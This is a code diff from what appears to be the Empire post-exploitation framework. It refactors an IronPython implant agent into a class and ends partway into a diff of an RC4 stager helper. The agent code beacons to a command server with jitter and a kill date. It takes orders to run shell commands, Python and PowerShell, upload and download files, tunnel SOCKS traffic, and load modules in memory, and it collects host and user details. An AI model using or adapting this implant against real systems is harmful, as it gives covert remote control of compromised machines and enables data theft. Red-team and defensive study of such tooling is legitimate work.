-# [1] = /__init__.py ext, is_package = True
-_search_order = [(".py", False), ("/__init__.py", True)]
-
-
-class ZipImportError(ImportError):
- """Exception raised by zipimporter objects."""
-
- pass
-
-
-# _get_info() = takes the fullname, then subpackage name (if applicable),
-# and searches for the respective module or package
-
-
-class CFinder(object):
- """Import Hook for Empire"""
-
- def __init__(self, repoName):
- self.repoName = repoName
-
- def _get_info(self, repoName, fullname):
- """Search for the respective package or module in the zipfile object"""
- parts = fullname.split(".")
- submodule = parts[-1]
- modulepath = "/".join(parts)
-
- # check to see if that specific module exists
- for suffix, is_package in _search_order:
- relpath = modulepath + suffix
- try:
- moduleRepo[repoName].getinfo(relpath)
- except KeyError:
- pass
- else:
- return submodule, is_package, relpath
-
- # Error out if we can find the module/package
- msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
- raise ZipImportError(msg)
-
- def _get_source(self, repoName, fullname):
- """Get the source code for the requested module"""
- submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = "%s/%s" % (repoName, relpath)
- source = moduleRepo[repoName].read(relpath)
- source = source.replace("\r\n", "\n")
- source = source.replace("\r", "\n")
- return submodule, is_package, fullpath, source
-
- def find_module(self, fullname, path=None):
-
- try:
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
- except ImportError:
- return None
- else:
- return self
-
- def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(
- self.repoName, fullname
- )
- code = compile(source, fullpath, "exec")
- mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
- mod.__loader__ = self
- mod.__file__ = fullpath
- mod.__name__ = fullname
- if is_package:
- mod.__path__ = [os.path.dirname(mod.__file__)]
- exec(code, mod.__dict__)
- return mod
-
- def get_data(self, fullpath):
-
- prefix = os.path.join(self.repoName, "")
- if not fullpath.startswith(prefix):
- raise IOError(
- "Path %r does not start with module name %r", (fullpath, prefix)
- )
- relpath = fullpath[len(prefix) :]
- try:
- return moduleRepo[self.repoName].read(relpath)
- except KeyError:
- raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
-
- def is_package(self, fullname):
- """Return if the module is a package"""
- submodule, is_package, relpath = self._get_info(self.repoName, fullname)
- return is_package
-
- def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(
- self.repoName, fullname
- )
- return compile(source, fullpath, "exec")
-
- def install_hook(repoName):
- if repoName not in _meta_cache:
- finder = CFinder(repoName)
- _meta_cache[repoName] = finder
- sys.meta_path.append(finder)
-
- def remove_hook(repoName):
- if repoName in _meta_cache:
- finder = _meta_cache.pop(repoName)
- sys.meta_path.remove(finder)
-
-
-################################################
-#
-# Socks Server
-#
-################################################
-class Server(secretsocks.Server):
- # Initialize our data channel
- def __init__(self, q, resultID):
- secretsocks.Server.__init__(self)
- self.queue = q
- self.resultID = resultID
- self.alive = True
- self.start()
-
- # Receive data from our data channel and push it to the receive queue
- def recv(self):
- while self.alive:
- try:
- data = self.queue.get()
- self.recvbuf.put(data)
- except socket.timeout:
- continue
- except:
- self.alive = False
-
- # Take data from the write queue and send it over our data channel
- def write(self):
- while self.alive:
- try:
- data = self.writebuf.get(timeout=10)
- send_message(
- build_response_packet(
- 61, base64.b64encode(data).decode("UTF-8"), self.resultID
- )
- )
- except Queue.Empty:
- continue
- except:
- self.alive = False
-
-
-################################################
-#
-# misc methods
-#
-################################################
-class compress(object):
- """
- Base clase for init of the package. This will handle
- the initial object creation for conducting basic functions.
- """
-
- CRC_HSIZE = 4
- COMP_RATIO = 9
-
- def __init__(self, verbose=False):
- """
- Populates init.
- """
- pass
-
- def comp_data(self, data, cvalue=COMP_RATIO):
- """
- Takes in a string and computes
- the comp obj.
- data = string wanting compression
- cvalue = 0-9 comp value (default 6)
- """
- cdata = zlib.compress(data, cvalue)
- return cdata
+ )
+ )
- def crc32_data(self, data):
+ def view_loaded_modules(self, data, resultID):
"""
- Takes in a string and computes crc32 value.
- data = string before compression
- returns:
- HEX bytes of data
+ View loaded modules.
+ Task 123
"""
- crc = zlib.crc32(data) & 0xFFFFFFFF
- return crc
+ # view loaded modules
+ repoName = data
+ if repoName == "":
+ loadedModules = "\nAll Repos\n"
+ for key, value in list(moduleRepo.items()):
+ loadedModules += "\n----" + key + "----\n"
+ loadedModules += "\n".join(moduleRepo[key].namelist())
- def build_header(self, data, crc):
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID))
+ else:
+ try:
+ loadedModules = "\n----" + repoName + "----\n"
+ loadedModules += "\n".join(moduleRepo[repoName].namelist())
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID))
+ except Exception as e:
+ msg = "Unable to retrieve repo contents: %s" % (str(e))
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID))
+
+ def remove_module(self, data, resultID):
"""
- Takes comp data, org crc32 value,
- and adds self header.
- data = comp data
- crc = crc32 value
+ Remove a module.
"""
- header = struct.pack("!I", crc)
- built_data = header + data
- return built_data
+ repoName = data
+ try:
+ self.remove_hook(repoName)
+ del moduleRepo[repoName]
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 124, "Successfully remove repo: %s" % (repoName), resultID
+ )
+ )
+ except Exception as e:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
+ )
+ )
+ def start_job(self, code, resultID):
+ # create a new code block with a defined method name
+ codeBlock = "def method():\n" + indent(code[1:])
-class decompress(object):
- """
- Base clase for init of the package. This will handle
- the initial object creation for conducting basic functions.
- """
+ # register the code block
+ code_obj = compile(codeBlock, "", "exec")
+ # code needs to be in the global listing
+ # not the locals() scope
+ exec(code_obj, globals())
- CRC_HSIZE = 4
- COMP_RATIO = 9
+ # create/process Packet start/return the thread
+ # call the job_func so sys data can be captured
+ codeThread = KThread(target=self.job_func, args=(resultID,))
+ codeThread.start()
- def __init__(self, verbose=False):
- """
- Populates init.
- """
- pass
+ self.jobs[resultID] = codeThread
- def dec_data(self, data, cheader=True):
- """
- Takes:
- Custom / standard header data
- data = comp data with zlib header
- BOOL cheader = passing custom crc32 header
- returns:
- dict with crc32 cheack and dec data string
- ex. {"crc32" : true, "dec_data" : "-SNIP-"}
- """
- if cheader:
- comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
- dec_data = zlib.decompress(data[self.CRC_HSIZE :])
- dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
- if comp_crc32 == dec_crc32:
- crc32 = True
- else:
- crc32 = False
- return {
- "header_crc32": comp_crc32,
- "dec_crc32": dec_crc32,
- "crc32_check": crc32,
- "data": dec_data,
- }
- else:
- dec_data = zlib.decompress(data)
- return dec_data
+ def job_func(self, resultID):
+ try:
+ buffer = StringIO()
+ sys.stdout = buffer
+ # now call the function required
+ # and capture the output via sys
+ method()
+ sys.stdout = sys.__stdout__
+ dataStats_2 = buffer.getvalue()
+ result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID)
+ self.packet_handler.process_job_tasking(result)
+ except Exception as e:
+ p = "error executing specified Python job data: " + str(e)
+ result = self.packet_handler.build_response_packet(0, p, resultID)
+ self.packet_handler.process_job_tasking(result)
+
+ def job_message_buffer(self, message):
+ # Supports job messages for checkin
+ try:
+ self.jobMessageBuffer += str(message)
+ except Exception as e:
+ print(e)
+
+ def get_job_message_buffer(self):
+ try:
+ result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer))
+ self.jobMessageBuffer = ""
+ return result
+ except Exception as e:
+ return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e))
+ def start_webserver(self, data, ip, port, serveCount):
+ # thread data_webserver for execution
+ t = threading.Thread(target=self.data_webserver, args=(data, ip, port, serveCount))
+ t.start()
+ return
-def agent_exit():
- # exit for proper job / thread cleanup
- if len(jobs) > 0:
+ def data_webserver(self, data, ip, port, serveCount):
+ # hosts a file on port and IP servers data string
+ hostName = str(ip)
+ portNumber = int(port)
+ data = str(data)
+ serveCount = int(serveCount)
+ count = 0
+
+ class serverHandler(http.server.BaseHTTPRequestHandler):
+ def do_GET(s):
+ """Respond to a GET request."""
+ s.send_response(200)
+ s.send_header("Content-type", "text/html")
+ s.end_headers()
+ s.wfile.write(data)
+
+ def log_message(s, format, *args):
+ return
+
+ server_class = http.server.HTTPServer
+ httpServer = server_class((hostName, portNumber), serverHandler)
try:
- for x in jobs:
- jobs[x].kill()
- jobs.pop(x)
+ while count < serveCount:
+ httpServer.handle_request()
+ count += 1
except:
- # die hard if thread kill fails
pass
- sys.exit()
+ httpServer.server_close()
+ return
+
+ def permissions_to_unix_name(self, st_mode):
+ permstr = ""
+ usertypes = ["USR", "GRP", "OTH"]
+ for usertype in usertypes:
+ perm_types = ["R", "W", "X"]
+ for permtype in perm_types:
+ perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
+ if st_mode & perm:
+ permstr += permtype.lower()
+ else:
+ permstr += "-"
+ return permstr
+
+ def directory_listing(self, path):
+ # directory listings in python
+ # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
+
+ res = ""
+ for fn in os.listdir(path):
+ fstat = os.stat(os.path.join(path, fn))
+ permstr = self.permissions_to_unix_name(fstat[0])
+
+ if os.path.isdir(fn):
+ permstr = "d{}".format(permstr)
+ else:
+ permstr = "-{}".format(permstr)
+
+ user = Environment.UserName
+ # Needed?
+ group = "Users"
+
+ # Convert file size to MB, KB or Bytes
+ if fstat.st_size > 1024 * 1024:
+ fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024)))
+ unit = "MB"
+ elif fstat.st_size > 1024:
+ fsize = math.ceil(old_div(fstat.st_size, 1024))
+ unit = "KB"
+ else:
+ fsize = fstat.st_size
+ unit = "B"
+ mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
-def indent(lines, amount=4, ch=" "):
- padding = amount * ch
- return padding + ("\n" + padding).join(lines.split("\n"))
+ res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
+ permstr, user, group, mtime, fsize, unit, fn
+ )
+ return res
+
+ # additional implementation methods
+ def run_command(self, command, cmdargs=None):
+ if re.compile("(ls|dir)").match(command):
+ if cmdargs == None or not os.path.exists(cmdargs):
+ cmdargs = "."
+
+ return self.directory_listing(cmdargs)
+ if re.compile("cd").match(command):
+ os.chdir(cmdargs)
+ return str(os.getcwd())
+ elif re.compile("pwd").match(command):
+ return str(os.getcwd())
+ elif re.compile("rm").match(command):
+ if cmdargs == None:
+ return "please provide a file or directory"
+
+ if os.path.exists(cmdargs):
+ if os.path.isfile(cmdargs):
+ os.remove(cmdargs)
+ return "done."
+ elif os.path.isdir(cmdargs):
+ shutil.rmtree(cmdargs)
+ return "done."
+ else:
+ return "unsupported file type"
+ else:
+ return "specified file/directory does not exist"
+ elif re.compile("mkdir").match(command):
+ if cmdargs == None:
+ return "please provide a directory"
-# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
-class ThreadWithReturnValue(Thread):
- def __init__(
- self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
- ):
- Thread.__init__(self, group, target, name, args, kwargs, Verbose)
- self._return = None
+ os.mkdir(cmdargs)
+ return "Created directory: {}".format(cmdargs)
- def run(self):
- if self._Thread__target is not None:
- self._return = self._Thread__target(
- *self._Thread__args, **self._Thread__kwargs
+ elif re.compile("(whoami|getuid)").match(command):
+ return Environment.UserName
+
+ elif re.compile("hostname").match(command):
+ return str(socket.gethostname())
+
+ elif re.compile("ps").match(command):
+ myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
+ myrunspace.Open()
+ pipeline = myrunspace.CreatePipeline()
+ pipeline.Commands.AddScript(
+ """
+ $owners = @{}
+ Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
+ $p = "*";
+ $output = Get-Process $p | ForEach-Object {
+ $arch = 'x64';
+ if ([System.IntPtr]::Size -eq 4) {
+ $arch = 'x86';
+ }
+ else{
+ foreach($module in $_.modules) {
+ if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
+ $arch = 'x86';
+ break;
+ }
+ }
+ }
+ $out = New-Object psobject
+ $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
+ $out | Add-Member Noteproperty 'PID' $_.ID
+ $out | Add-Member Noteproperty 'Arch' $arch
+ $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
+ $mem = "{0:N2} MB" -f $($_.WS/1MB)
+ $out | Add-Member Noteproperty 'MemUsage' $mem
+ $out
+ } | Sort-Object -Property PID | ConvertTo-Json;
+ $output
+ """
)
+ results = pipeline.Invoke()
+ buffer = StringIO()
+ sys.stdout = buffer
+ for result in results:
+ print(result)
+ sys.stdout = sys.__stdout__
+ return_data = buffer.getvalue()
+ return return_data
+ else:
+ if cmdargs is None:
+ cmdargs = ""
+ cmd = "{} {}".format(command, cmdargs)
+ return os.popen(cmd).read()
+
+ def get_file_part(self, filePath, offset=0, chunkSize=512000, base64=True):
+ if not os.path.exists(filePath):
+ return ""
+
+ f = open(filePath, "rb")
+ f.seek(offset, 0)
+ data = f.read(chunkSize)
+ f.close()
+ if base64:
+ return base64.b64encode(data)
+ else:
+ return data
- def join(self):
- Thread.join(self)
- return self._return
+ def get_sysinfo(self, server, nonce='00000000'):
+ # NOTE: requires global variable "server" to be set
+ # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version | architecture
+ __FAILED_FUNCTION = '[FAILED QUERY]'
-class KThread(threading.Thread):
- """A subclass of threading.Thread, with a kill()
- method."""
+ try:
+ username = Environment.UserName
+ except Exception as e:
+ username = __FAILED_FUNCTION
- def __init__(self, *args, **keywords):
- threading.Thread.__init__(self, *args, **keywords)
- self.killed = False
+ try:
+ uid = WindowsIdentity.GetCurrent().User.ToByteArray()
+ except Exception as e:
+ uid = __FAILED_FUNCTION
- def start(self):
- """Start the thread."""
- self.__run_backup = self.run
- self.run = self.__run # Force the Thread to install our trace.
- threading.Thread.start(self)
+ try:
+ highIntegrity = WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)
+ except Exception as e:
+ highIntegrity = __FAILED_FUNCTION
- def __run(self):
- """Hacked run function, which installs the
- trace."""
- sys.settrace(self.globaltrace)
- self.__run_backup()
- self.run = self.__run_backup
+ try:
+ osDetails = os.uname()
+ except Exception as e:
+ osDetails = __FAILED_FUNCTION
- def globaltrace(self, frame, why, arg):
- if why == "call":
- return self.localtrace
- else:
+ try:
+ hostname = Environment.MachineName
+ except Exception as e:
+ hostname = __FAILED_FUNCTION
+
+ try:
+ internalIP = socket.gethostbyname(socket.gethostname())
+ except Exception as e:
+ internalIP = __FAILED_FUNCTION
+
+ try:
+ osDetails = Environment.OSVersion.ToByteArray()
+ except Exception as e:
+ osDetails = __FAILED_FUNCTION
+
+ try:
+ processID = Process.GetCurrentProcess().Id
+ except Exception as e:
+ processID = __FAILED_FUNCTION
+
+ try:
+ temp = sys.version_info
+ pyVersion = "%s.%s" % (temp[0], temp[1])
+ except Exception as e:
+ pyVersion = __FAILED_FUNCTION
+
+ try:
+ architecture = platform.machine()
+ except Exception as e:
+ architecture = __FAILED_FUNCTION
+
+ language = 'ironpython'
+ processName = Process.GetCurrentProcess()
+ return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (
+ nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language,
+ pyVersion, architecture)
+
+ def process_packet(self, packetType, data, resultID):
+ try:
+ packetType = int(packetType)
+ except Exception as e:
return None
- def localtrace(self, frame, why, arg):
- if self.killed:
- if why == "line":
- raise SystemExit()
- return self.localtrace
+ if packetType == 1:
+ # sysinfo request
+ # get_sysinfo should be exposed from stager.py
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(1, self.get_sysinfo(server=self.server), resultID))
- def kill(self):
- self.killed = True
+ elif packetType == 2:
+ # agent exit
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(2, "", resultID))
+ self.agent_exit()
+ elif packetType == 34:
+ # TASK_SET_PROXY
+ pass
-def start_job(code, resultID):
- global jobs
+ elif packetType == 40:
+ self.run_prebuilt_command(data, resultID)
- # create a new code block with a defined method name
- codeBlock = "def method():\n" + indent(code[1:])
+ elif packetType == 41:
+ self.file_download(data, resultID)
- # register the code block
- code_obj = compile(codeBlock, "", "exec")
- # code needs to be in the global listing
- # not the locals() scope
- exec(code_obj, globals())
+ elif packetType == 42:
+ self.file_upload(data, resultID)
- # create/process Packet start/return the thread
- # call the job_func so sys data can be captured
- codeThread = KThread(target=job_func, args=(resultID,))
- codeThread.start()
+ elif packetType == 43:
+ self.directory_list(data, resultID)
- jobs[resultID] = codeThread
+ elif packetType == 44:
+ self.csharp_execute(data, resultID)
+ elif packetType == 50:
+ self.job_list(resultID)
-def job_func(resultID):
- try:
- buffer = StringIO()
- sys.stdout = buffer
- # now call the function required
- # and capture the output via sys
- method()
- sys.stdout = sys.__stdout__
- dataStats_2 = buffer.getvalue()
- result = build_response_packet(110, str(dataStats_2), resultID)
- process_job_tasking(result)
- except Exception as e:
- p = "error executing specified Python job data: " + str(e)
- result = build_response_packet(0, p, resultID)
- process_job_tasking(result)
-
-
-def job_message_buffer(message):
- # Supports job messages for checkin
- global jobMessageBuffer
- try:
-
- jobMessageBuffer += str(message)
- except Exception as e:
- print(e)
-
-
-def get_job_message_buffer():
- global jobMessageBuffer
- try:
- result = build_response_packet(110, str(jobMessageBuffer))
- jobMessageBuffer = ""
- return result
- except Exception as e:
- return build_response_packet(0, "[!] Error getting job output: %s" % (e))
-
-
-def send_job_message_buffer():
- if len(jobs) > 0:
- result = get_job_message_buffer()
- process_job_tasking(result)
- else:
- pass
+ elif packetType == 51:
+ self.stop_job(data, resultID)
+ elif packetType == 60:
+ self.start_socks_server(resultID)
-def start_webserver(data, ip, port, serveCount):
- # thread data_webserver for execution
- t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount))
- t.start()
- return
-
-
-def data_webserver(data, ip, port, serveCount):
- # hosts a file on port and IP servers data string
- hostName = str(ip)
- portNumber = int(port)
- data = str(data)
- serveCount = int(serveCount)
- count = 0
-
- class serverHandler(http.server.BaseHTTPRequestHandler):
- def do_GET(s):
- """Respond to a GET request."""
- s.send_response(200)
- s.send_header("Content-type", "text/html")
- s.end_headers()
- s.wfile.write(data)
-
- def log_message(s, format, *args):
- return
-
- server_class = http.server.HTTPServer
- httpServer = server_class((hostName, portNumber), serverHandler)
- try:
- while count < serveCount:
- httpServer.handle_request()
- count += 1
- except:
- pass
- httpServer.server_close()
- return
-
-
-def permissions_to_unix_name(st_mode):
- permstr = ""
- usertypes = ["USR", "GRP", "OTH"]
- for usertype in usertypes:
- perm_types = ["R", "W", "X"]
- for permtype in perm_types:
- perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
- if st_mode & perm:
- permstr += permtype.lower()
- else:
- permstr += "-"
- return permstr
+ elif packetType == 61:
+ self.socksqueue.put(base64.b64decode(data.encode("UTF-8")))
+ elif packetType == 70:
+ self.start_smb_pipe_server(data, resultID)
-def directory_listing(path):
- # directory listings in python
- # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html
+ elif packetType == 100:
+ self.dynamic_code_execute_wait_nosave(data, resultID)
- res = ""
- for fn in os.listdir(path):
- fstat = os.stat(os.path.join(path, fn))
- permstr = permissions_to_unix_name(fstat[0])
+ elif packetType == 101:
+ self.dynamic_code_execution_wait_save(data, resultID)
- if os.path.isdir(fn):
- permstr = "d{}".format(permstr)
- else:
- permstr = "-{}".format(permstr)
-
- user = Environment.UserName
- # Needed?
- group = "Users"
-
- # Convert file size to MB, KB or Bytes
- if fstat.st_size > 1024 * 1024:
- fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024)))
- unit = "MB"
- elif fstat.st_size > 1024:
- fsize = math.ceil(old_div(fstat.st_size, 1024))
- unit = "KB"
- else:
- fsize = fstat.st_size
- unit = "B"
+ elif packetType == 102:
+ self.disk_code_execution_wait_save(data, resultID)
- mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
+ elif packetType == 110:
+ self.start_job(data, resultID)
- res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
- permstr, user, group, mtime, fsize, unit, fn
- )
+ elif packetType == 111:
+ # TASK_CMD_JOB_SAVE
+ pass
- return res
-
-
-# additional implementation methods
-def run_command(command, cmdargs=None):
- if re.compile("(ls|dir)").match(command):
- if cmdargs == None or not os.path.exists(cmdargs):
- cmdargs = "."
-
- return directory_listing(cmdargs)
- if re.compile("cd").match(command):
- os.chdir(cmdargs)
- return str(os.getcwd())
- elif re.compile("pwd").match(command):
- return str(os.getcwd())
- elif re.compile("rm").match(command):
- if cmdargs == None:
- return "please provide a file or directory"
-
- if os.path.exists(cmdargs):
- if os.path.isfile(cmdargs):
- os.remove(cmdargs)
- return "done."
- elif os.path.isdir(cmdargs):
- shutil.rmtree(cmdargs)
- return "done."
- else:
- return "unsupported file type"
- else:
- return "specified file/directory does not exist"
- elif re.compile("mkdir").match(command):
- if cmdargs == None:
- return "please provide a directory"
+ elif packetType == 112:
+ self.powershell_task(data, resultID)
- os.mkdir(cmdargs)
- return "Created directory: {}".format(cmdargs)
+ elif packetType == 118:
+ self.powershell_task_dyanmic_code_wait_nosave(data, resultID)
- elif re.compile("(whoami|getuid)").match(command):
- return Environment.UserName
+ elif packetType == 119:
+ pass
- elif re.compile("hostname").match(command):
- return str(socket.gethostname())
+ elif packetType == 121:
+ self.script_command(data, resultID)
- elif re.compile("ps").match(command):
- myrunspace = Runspaces.RunspaceFactory.CreateRunspace()
- myrunspace.Open()
- pipeline = myrunspace.CreatePipeline()
- pipeline.Commands.AddScript(
- """
- $owners = @{}
- Get-WmiObject win32_process | ForEach-Object {$o = $_.getowner(); if(-not $($o.User)) {$o='N/A'} else {$o="$($o.Domain)\$($o.User)"}; $owners[$_.handle] = $o}
- $p = "*";
- $output = Get-Process $p | ForEach-Object {
- $arch = 'x64';
- if ([System.IntPtr]::Size -eq 4) {
- $arch = 'x86';
- }
- else{
- foreach($module in $_.modules) {
- if([System.IO.Path]::GetFileName($module.FileName).ToLower() -eq "wow64.dll") {
- $arch = 'x86';
- break;
- }
- }
- }
- $out = New-Object psobject
- $out | Add-Member Noteproperty 'ProcessName' $_.ProcessName
- $out | Add-Member Noteproperty 'PID' $_.ID
- $out | Add-Member Noteproperty 'Arch' $arch
- $out | Add-Member Noteproperty 'UserName' $owners[$_.id.tostring()]
- $mem = "{0:N2} MB" -f $($_.WS/1MB)
- $out | Add-Member Noteproperty 'MemUsage' $mem
- $out
- } | Sort-Object -Property PID | ConvertTo-Json;
- $output
- """
- )
- results = pipeline.Invoke()
- buffer = StringIO()
- sys.stdout = buffer
- for result in results:
- print(result)
- sys.stdout = sys.__stdout__
- return_data = buffer.getvalue()
- return return_data
- else:
- if cmdargs is None:
- cmdargs = ""
- cmd = "{} {}".format(command, cmdargs)
- return os.popen(cmd).read()
-
-
-def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
- if not os.path.exists(filePath):
- return ""
-
- f = open(filePath, "rb")
- f.seek(offset, 0)
- data = f.read(chunkSize)
- f.close()
- if base64:
- return base64.b64encode(data)
- else:
- return data
+ elif packetType == 122:
+ self.script_load(data, resultID)
+ elif packetType == 123:
+ self.view_loaded_modules(data, resultID)
-################################################
-#
-# main agent functionality
-#
-################################################
+ elif packetType == 124:
+ self.remove_module(data, resultID)
-while True:
- try:
- if workingHours != "" and "WORKINGHOURS" not in workingHours:
- try:
- start, end = workingHours.split("-")
- now = datetime.datetime.now()
- startTime = datetime.datetime.strptime(start, "%H:%M")
- endTime = datetime.datetime.strptime(end, "%H:%M")
+ elif packetType == 130:
+ # Dynamically update agent comms
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
- if not (startTime <= now <= endTime):
- sleepTime = startTime - now
- # sleep until the start of the next window
- time.sleep(sleepTime.seconds)
+ elif packetType == 131:
+ # Update the listener name variable
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
- except Exception as e:
- pass
+ else:
+ self.packet_handler.send_message(
+ self.packet_handler.build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
+ )
- # check if we're past the killdate for this agent
- # killDate form -> MO/DAY/YEAR
- if killDate != "" and "KILLDATE" not in killDate:
- now = datetime.datetime.now().date()
+ def run(self):
+ while True:
try:
- killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
- except:
- pass
+ if self.working_hours and "WORKINGHOURS" not in self.working_hours:
+ try:
+ start, end = self.working_hours.split("-")
+ now = datetime.datetime.now()
+ startTime = datetime.datetime.strptime(start, "%H:%M")
+ endTime = datetime.datetime.strptime(end, "%H:%M")
+
+ if not (startTime <= now <= endTime):
+ sleepTime = startTime - now
+ time.sleep(sleepTime.seconds)
+
+ except Exception as e:
+ pass
- if now >= killDateTime:
- msg = "[!] Agent %s exiting" % (sessionID)
- send_message(build_response_packet(2, msg))
- agent_exit()
+ if self.kill_date and "KILLDATE" not in self.kill_date:
+ now = datetime.datetime.now().date()
+ try:
+ kill_date_time = datetime.datetime.strptime(self.kill_date, "%m/%d/%Y").date()
+ except:
+ pass
- # exit if we miss commnicating with the server enough times
- if missedCheckins >= lostLimit:
- agent_exit()
+ if now >= kill_date_time:
+ msg = "[!] Agent %s exiting" % (self.sessionID)
+ self.packet_handler.send_message(self.packet_handler.build_response_packet(2, msg))
+ self.agent_exit()
- # sleep for the randomized interval
- if jitter < 0:
- jitter = -jitter
- if jitter > 1:
- jitter = old_div(1, jitter)
- minSleep = int((1.0 - jitter) * delay)
- maxSleep = int((1.0 + jitter) * delay)
+ if self.packet_handler.missedCheckins >= self.lostLimit:
+ self.agent_exit()
- sleepTime = random.randint(minSleep, maxSleep)
- time.sleep(sleepTime)
+ if self.jitter < 0:
+ self.jitter = -self.jitter
+ if self.jitter > 1:
+ self.jitter = 1 / self.jitter
- (code, data) = send_message()
+ minSleep = int((1.0 - self.jitter) * self.delay)
+ maxSleep = int((1.0 + self.jitter) * self.delay)
- if code == "200":
- try:
- send_job_message_buffer()
- except Exception as e:
- result = build_response_packet(
- 0, str("[!] Failed to check job buffer!: " + str(e))
- )
- process_job_tasking(result)
- if data.strip() == defaultResponse.strip() or data == base64.b64encode(defaultResponse):
- missedCheckins = 0
- else:
- decode_routing_packet(data)
- else:
- pass
- # print "invalid code:",code
+ sleepTime = random.randint(minSleep, maxSleep)
+ time.sleep(sleepTime)
- except Exception as e:
- print("main() exception: %s" % (e))
+ code, data = self.packet_handler.send_message()
+
+ if code == "200":
+ try:
+ self.send_job_message_buffer()
+ except Exception as e:
+ result = self.packet_handler.build_response_packet(
+ 0, str("[!] Failed to check job buffer!: " + str(e))
+ )
+ self.packet_handler.process_job_tasking(result)
+
+ if data.strip() == self.defaultResponse.strip() or data == base64.b64encode(self.defaultResponse):
+ self.packet_handler.missedCheckins = 0
+ else:
+ self.packet_handler.decode_routing_packet(data)
+ else:
+ pass
+
+ except Exception as e:
+ print("main() exception: %s" % (e))
+ traceback.print_exc()
diff --git a/empire/server/data/agent/stagers/common/get_sysinfo.py b/empire/server/data/agent/stagers/common/get_sysinfo.py
index 6fb6448f3..6c168736a 100644
--- a/empire/server/data/agent/stagers/common/get_sysinfo.py
+++ b/empire/server/data/agent/stagers/common/get_sysinfo.py
@@ -7,11 +7,8 @@
if platform.python_implementation() == 'IronPython':
from System import Environment
from System.Diagnostics import Process
- from System.Security.Principal import (
- WindowsBuiltInRole,
- WindowsIdentity,
- WindowsPrincipal,
- )
+ from System.Security.Principal import (WindowsBuiltInRole, WindowsIdentity,
+ WindowsPrincipal)
else:
import pwd
diff --git a/empire/server/data/agent/stagers/common/rc4.py b/empire/server/data/agent/stagers/common/rc4.py
index f2717aee6..72a94d630 100644
--- a/empire/server/data/agent/stagers/common/rc4.py
+++ b/empire/server/data/agent/stagers/common/rc4.py
@@ -1,155 +1,328 @@
+import base64
import os
import struct
-LANGUAGE = {
- 'NONE' : 0,
- 'POWERSHELL' : 1,
- 'PYTHON' : 2
-}
-
-LANGUAGE_IDS = {}
-for name, ID in list(LANGUAGE.items()): LANGUAGE_IDS[ID] = name
-
-META = {
- 'NONE' : 0,
- 'STAGING_REQUEST' : 1,
- 'STAGING_RESPONSE' : 2,
- 'TASKING_REQUEST' : 3,
- 'RESULT_POST' : 4,
- 'SERVER_RESPONSE' : 5
-}
-META_IDS = {}
-for name, ID in list(META.items()): META_IDS[ID] = name
-
-ADDITIONAL = {}
-ADDITIONAL_IDS = {}
-for name, ID in list(ADDITIONAL.items()): ADDITIONAL_IDS[ID] = name
-
-def rc4(key, data):
- """
- RC4 encrypt/decrypt the given data input with the specified key.
-
- From: http://stackoverflow.com/questions/29607753/how-to-decrypt-a-file-that-encrypted-with-rc4-using-python
- """
- S, j, out = list(range(256)), 0, []
- # This might break python 2.7
- key = bytearray(key)
- # KSA Phase
- for i in range(256):
- j = (j + S[i] + key[i % len(key)]) % 256
- S[i], S[j] = S[j], S[i]
- # this might also break python 2.7
- #data = bytearray(data)
- # PRGA Phase
- i = j = 0
-
- for char in data:
- i = (i + 1) % 256
- j = (j + S[i]) % 256
- S[i], S[j] = S[j], S[i]
- if sys.version[0] == "2":
- char = ord(char)
- out.append(chr(char ^ S[(S[i] + S[j]) % 256]).encode('latin-1'))
- #out = str(out)
